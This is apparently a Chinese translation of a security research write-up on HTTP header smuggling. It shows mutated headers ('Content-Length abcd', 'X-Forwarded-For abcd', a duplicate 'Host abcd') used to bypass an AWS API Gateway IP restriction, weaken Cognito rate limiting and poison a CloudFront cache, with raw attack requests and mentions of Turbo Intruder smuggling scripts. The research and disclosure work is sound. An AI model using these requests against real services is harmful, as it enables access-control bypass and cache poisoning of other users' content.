本文介绍了一种识别头走私的新技术,并演示了HTTP头走私如何导致缓存中毒、IP 限制绕过和请求走私。原文地址:https://notsosecure.com/hacking-aws-cognito-misconfigurations
相关脚本在文末噢~
使用HTTP头走私,可以绕过此过滤并将信息发送到它视为受信任的后端服务器。我将展示这如何导致绕过AWS API Gateway中的 IP 限制,以及一个易于利用的缓存中毒问题。然后,我将讨论如何调整用于查找这些漏洞的方法,以在黑盒场景中基于多个“Content-Length”HTTP 头(CL.CL 请求走私)安全地检测请求走私。
背景
Web 应用程序使用的 HTTP 服务器链通常可以建模为由两个组件组成:
- 直接处理来自用户的请求的“前端”服务器。这些服务器通常处理缓存和负载平衡,或充当 Web 应用程序防火墙 (WAF)。
- 前端服务器将请求转发到的“后端”服务器。这是应用程序的服务器端代码运行的地方。

这种模型通常是对现实的简化。可能有多个前端和后端服务器,而前端和后端服务器本身往往是多个服务器的链。但是,该模型足以理解和开发本文中介绍的攻击,以及最近对服务器攻击链的大多数研究。
后端服务器通常依赖前端服务器在 HTTP 请求头中提供准确的信息,例如“X-Forwarded-For”HTTP头中的客户端 IP 地址,或“Content-Length”中的请求正文长度“标题。为了准确地提供这些信息,前端服务器必须过滤掉客户端提供的这些HTTP头的值,这些值是不受信任的,不能依赖它来准确。
正题(挖掘方式)
发现漏洞点
以下示例是“Content-Length”HTTP头的变异版本:
Content-Length : 0
Content-Length abcd: 0
Content_Length: 0
[\r]Content-Length: 0
此方法主要利用了:大多数 Web 服务器在发送带有无效“Content-Length”HTTP头的请求时会返回错误的性质:
请求头:
GET / HTTP/1.1
Host: example.com
Content-Length: z
响应包:
HTTP/1.1 400 Bad Request
[…]
接下来比较一下:以“Content-Length”HTTP头的常规形式和变异形式发送有效值和无效值时的响应。
首先是将常规“Content-Length”HTTP头中的有效和无效值发送到目标:
请求:
GET / HTTP/1.1
Host: example.com
Content-Length: 0
响应包:
HTTP/1.1 200 OK
Content-Length: 1256
[…]
构造后的请求包:
GET / HTTP/1.1
Host: example.com
Content-Length: z
响应包:
HTTP/1.1 400 Bad Request
Content-Length: 349
[…]
由于在“Content-Length”HTTP头中包含垃圾值会导致响应不同,因此我们可以推断链中至少有 1 个服务器正在解析此HTTP头。
走私到后端的判断方法
此服务器链允许通过在HTTP头名称中的空格后附加字符来将HTTP头走私到后端。因此,当我们在请求中将“Content-Length”替换为“Content-Length abcd”并再次发送请求时,我们会得到以下结果:
请求包:
GET / HTTP/1.1
Host: example.com
Content-Length abcd: 0
响应包:
HTTP/1.1 200 OK
Content-Length: 1256
[…]
构造后的请求包:
GET / HTTP/1.1
Host: example.com
Content-Length abcd: z
响应包:
HTTP/1.1 502 Bad Gateway
Content-Length: 50
[…]
在比较来自常规和变异的“Content-Length”HTTP头的响应时,这里需要注意三件重要的事情:
每个HTTP头中的无效值会导致与有效值不同的响,这表明链中至少有一个服务器正在将这些HTTP头中的每一个解析为“Content-Length”HTTP头。
判断误区
请求:
GET / HTTP/1.1
Host: example.com
Content-Length: 0
响应包:
HTTP/1.1 200 OK
Content-Length: 1256
[…]
修改后的请求:
GET / HTTP/1.1
Host: example.com
Content-Length abcd: 0
响应包:
HTTP/1.1 200 OK
Content-Length: 1256
[…]
这表明突变HTTP头的存在并没有阻止任一服务器正常解析请求。此检查对于确保突变没有完全使请求无效很重要。
请求包:
GET / HTTP/1.1
Host: example.com
Content-Length: z
响应包:
HTTP/1.1 400 Bad Request
Content-Length: 349
[…]
修改后的请求:
GET / HTTP/1.1
Host: example.com
Content-Length abcd: z
响应包:
HTTP/1.1 502 Bad Gateway
Content-Length: 50
[…]
这表明错误可能来自链中的不同服务器。换句话说,前端服务器没有解析我们变异的“Content-Length”HTTP头,就好像它是常规的“Content-Length”HTTP头一样,而后端服务器是存在HTTP头走私。
实战分析
绕过限制
AWS API 网关 IP 限制
在扫描错误赏金计划时,我注意到使用 AWS API Gateway 创建的 API 通过在字符前加上空格以造成HTTP头走私,例如:通过将“X-My-Header:test”更改为“X-My-Header abcd:test”。
我还注意到前端服务器正在分析和重写“X-Forwarded-For”HTTP头。
API Gateway 允许您通过使用如下资源策略来限制 API 访问某些 IP 地址:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "execute-api:Invoke",
"Resource": "arn:aws:execute-api:eu-west-2:********2087:uiv82new6b/*/*/*"
},
{
"Effect": "Deny",
"Principal": "*",
"Action": "execute-api:Invoke",
"Resource": "arn:aws:execute-api:eu-west-2:********2087:uiv82new6b/*/*/*",
"Condition": {
"NotIpAddress": {
"aws:SourceIp": [
"1.2.3.4",
"10.0.0.0/8"
]
}
}
}
]
}
此策略将访问限制为仅接受来自 IP 地址 1.2.3.4(不幸的是我不是)和私有范围 10.0.0.0/8 的请求。来自其他 IP 地址的请求遇到错误:
请求包:
GET /dev/a HTTP/1.1
Host: uiv82new6b.execute-api.eu-west-2.amazonaws.com
[…]
响应包:
HTTP/1.1 403 Forbidden
Content-Type: application/json
[…]
{"Message":"User: anonymous is not authorized to perform: execute-api:Invoke on resource: arn:aws:execute-api:eu-west-2:********2087:uiv82new6b/dev/GET/a with an explicit deny"}
毫不奇怪,简单地将“X-Forwarded-For”HTTP头添加到请求中与 AWS 的安全控制不匹配:
请求包
GET /dev/a HTTP/1.1
Host: uiv82new6b.execute-api.eu-west-2.amazonaws.com
X-Forwarded-For: 10.0.0.1
[…]
响应包:
HTTP/1.1 403 Forbidden
Content-Type: application/json
[…]
{"Message":"User: anonymous is not authorized to perform: execute-api:Invoke on resource: arn:aws:execute-api:eu-west-2:********2087:uiv82new6b/dev/GET/a with an explicit deny"}
修改后的请求:
GET /dev/a HTTP/1.1
Host: uiv82new6b.execute-api.eu-west-2.amazonaws.com
X-Forwarded-For abcd: 10.0.0.1
[…]
响应包:
HTTP/1.1 201 Created
Content-Type: application/json
[…]
A
这允许绕过 IP 限制,但在实际情况下可能很难实现。来自私有范围的地址是显而易见的猜测,但如果这些是不允许的,那么可能很难猜测已被授予访问权限的 IP 地址。
AWS Cognito 速率限制
在渗透测试期间,我在AWS Cognito中发现了一个类似但非常低危的错误。Cognito 是一个身份验证提供程序,您可以将其集成到您的应用程序中以帮助处理身份验证。
不幸的是,无法在此HTTP头中循环使用不同的值或有效 IP 地址继续获得五次尝试,这意味着此错误的影响很小。但是,它仍然是如何使用HTTP头走私绕过速率限制的一个很好的例子。
缓存投毒
在我向他们报告后,AWS 立即修复了 IP 限制绕过。重新测试时,我注意到我仍然可以使用相同的突变将HTTP头走私到后端服务器。
我使用 API Gateway 设置了两个 API——一个“受害者”API 和一个“攻击者”API:
请求包:
GET /message HTTP/1.1
Host: victim.i.long.lat
响应包:
HTTP/1.1 200 OK
Content-Type: application/json
[…]
{"data":"important","message":"important data returned"}
请求包:
GET /message HTTP/1.1
Host: attacker.i.long.lat
响应包:
HTTP/1.1 200 OK
[…]
Poisoned!
当包含一个变异的“Host”HTTP头和一个常规的“Host”HTTP头时,会出现有趣的行为:
请求包:
GET /message HTTP/1.1
Host: victim.i.long.lat
Host abcd: attacker.i.long.lat
响应包:
HTTP/1.1 200 OK
[…]
Poisoned!
API 网关从变异的“主机”HTTP头中指定的 API 返回响应。这与大多数 Web 服务器的行为形成鲜明对比,后者不会将变异的“Host”HTTP头视为“Host”HTTP头,而是从常规的“Host”HTTP头中获取主机。

为了演示这一点,我使用“AllViewer”请求策略在 API Gateway 前设置CloudFront,这会导致所有HTTP头都被转发。发送上述请求,然后请求“https://victim.i.long.lat/a”表明来自攻击者 API 的响应已存储在受害者 API 的缓存中:
请求包
GET /message HTTP/1.1
Host: victim.i.long.lat
Host abcd: attacker.i.long.lat
响应包:
HTTP/1.1 200 OK
[…]
Poisoned!
修改后的请求:
GET /message HTTP/1.1
Host: victim.i.long.lat
响应包:
HTTP/1.1 200 OK
Age: 3
[…]
Poisoned!
这种缓存中毒很容易被利用,因为攻击者可以设置自己的 API 并返回任意路径的任意内容。这允许他们完全覆盖受害者缓存中的任何条目,有效地允许他们完全控制受害者 API 的内容。
使用 Turbo Intruder 并发
可以利用Turbo Intruder脚本,这些脚本发送 1 个请求来毒化套接字,然后很快发出多个请求,希望其中一个请求被毒化。
我创建了 Kettle 的 Turbo Intruder 脚本之一的修改版本,它试图利用 CL.CL 请求走私来导致 404 错误,您可以在此处找到。这通常是确认请求走私的最简单方法。可以在此处找到尝试触发缓存中毒的类似脚本。
一旦识别出允许HTTP头走私的突变,下一步就是找到一个有趣的HTTP头以潜入后端。有时您可能知道您希望尝试的HTTP头,但是,通常没有明显的选择。为了帮助解决第二种情况,以及帮助找到导致HTTP头走私的突变,我发布了 James Kettle 的Param Miner Burp Suite 扩展的一个分支,可以在这里找到。